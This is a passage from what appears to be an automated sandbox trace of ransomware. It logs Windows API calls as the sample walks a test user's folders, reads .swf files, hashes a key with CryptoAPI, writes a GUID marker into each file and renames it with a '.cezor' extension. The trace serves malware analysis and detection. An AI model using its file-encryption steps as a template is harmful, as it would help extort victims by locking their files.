ftLastAccessTime.dwHighDateTime=0x1d4ca00, ftLastWriteTime.dwLowDateTime=0xee2267f0, ftLastWriteTime.dwHighDateTime=0x1d4ca00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.523] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e183db0, ftCreationTime.dwHighDateTime=0x1d4c5da, ftLastAccessTime.dwLowDateTime=0x25b77690, ftLastAccessTime.dwHighDateTime=0x1d4cd82, ftLastWriteTime.dwLowDateTime=0x25b77690, ftLastWriteTime.dwHighDateTime=0x1d4cd82, nFileSizeHigh=0x0, nFileSizeLow=0xf5f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kU7oVdD-q0QJXT.swf", cAlternateFileName="KU7OVD~1.SWF")) returned 1 [0061.523] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\kU7oVdD-q0QJXT.swf") returned=".swf" [0061.523] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\kU7oVdD-q0QJXT.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\ku7ovdd-q0qjxt.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.523] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=62960) returned 1 [0061.523] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.526] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xf5ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.526] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.527] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xf5f0, lpOverlapped=0x0) returned 1 [0061.527] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.527] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.527] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.527] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.528] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.528] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.528] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.528] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.528] GetLastError () returned 0x0 [0061.528] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.528] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.528] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.528] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xf5f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.529] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.529] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.529] CloseHandle (hObject=0x5c4) returned 1 [0061.530] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\kU7oVdD-q0QJXT.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\ku7ovdd-q0qjxt.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\kU7oVdD-q0QJXT.swf.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\ku7ovdd-q0qjxt.swf.cezor")) returned 1 [0061.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.530] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.531] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fedd78 | out: hHeap=0x670000) returned 1 [0061.531] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad8e33b0, ftCreationTime.dwHighDateTime=0x1d4ce45, ftLastAccessTime.dwLowDateTime=0x94022970, ftLastAccessTime.dwHighDateTime=0x1d4c714, ftLastWriteTime.dwLowDateTime=0x94022970, ftLastWriteTime.dwHighDateTime=0x1d4c714, nFileSizeHigh=0x0, nFileSizeLow=0x17d92, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uYUuV.swf", cAlternateFileName="")) returned 1 [0061.531] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\uYUuV.swf") returned=".swf" [0061.531] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\uYUuV.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\uyuuv.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.531] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=97682) returned 1 [0061.531] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.534] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x17d6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.534] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.535] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x17d92, lpOverlapped=0x0) returned 1 [0061.535] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.535] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.535] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.535] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.536] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.536] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.536] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.536] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.536] GetLastError () returned 0x0 [0061.536] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.536] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.536] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.537] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x17d92, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.537] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.537] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.537] CloseHandle (hObject=0x5c4) returned 1 [0061.538] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\uYUuV.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\uyuuv.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\uYUuV.swf.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\uyuuv.swf.cezor")) returned 1 [0061.539] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.539] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.540] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fedd78 | out: hHeap=0x670000) returned 1 [0061.540] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868464a0, ftCreationTime.dwHighDateTime=0x1d4ccd9, ftLastAccessTime.dwLowDateTime=0x8b1fe290, ftLastAccessTime.dwHighDateTime=0x1d4ca64, ftLastWriteTime.dwLowDateTime=0x8b1fe290, ftLastWriteTime.dwHighDateTime=0x1d4ca64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VuM2", cAlternateFileName="")) returned 1 [0061.540] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868464a0, ftCreationTime.dwHighDateTime=0x1d4ccd9, ftLastAccessTime.dwLowDateTime=0x8b1fe290, ftLastAccessTime.dwHighDateTime=0x1d4ca64, ftLastWriteTime.dwLowDateTime=0x8b1fe290, ftLastWriteTime.dwHighDateTime=0x1d4ca64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VuM2", cAlternateFileName="")) returned 0 [0061.540] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.540] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0061.540] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d4b0 | out: hHeap=0x670000) returned 1 [0061.540] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0061.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e3d0 | out: hHeap=0x670000) returned 1 [0061.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d9d8 | out: hHeap=0x670000) returned 1 [0061.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee6e0 | out: hHeap=0x670000) returned 1 [0061.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0061.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74eb40 | out: hHeap=0x670000) returned 1 [0061.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dab0 | out: hHeap=0x670000) returned 1 [0061.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0061.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ffd28 | out: hHeap=0x670000) returned 1 [0061.542] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.542] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0061.542] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.542] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0061.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74eb40 | out: hHeap=0x670000) returned 1 [0061.542] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0061.542] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0061.543] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0061.543] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0061.543] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0061.543] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0061.543] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0061.543] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d09c8 | out: hHeap=0x670000) returned 1 [0061.543] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.543] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0061.543] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0061.543] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.543] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30180d0 | out: hHeap=0x670000) returned 1 [0061.543] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.543] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0061.543] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.543] PathFindFileNameW (pszPath="") returned="" [0061.543] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74eb40 [0061.543] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.543] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74eb40 | out: hHeap=0x670000) returned 1 [0061.543] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.543] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0061.543] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dab0 [0061.543] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c) returned 0x30e5770 [0061.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dab0 | out: hHeap=0x670000) returned 1 [0061.544] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0061.544] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0061.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.544] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dab0 [0061.544] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.546] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.546] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.546] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.546] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.546] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.546] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.546] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.546] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.546] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.546] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.546] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.546] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.546] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.546] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.546] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.546] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.546] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.546] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.546] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.546] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.546] HeapFree (in: hHeap=0x670000, dwFlags=0x0, 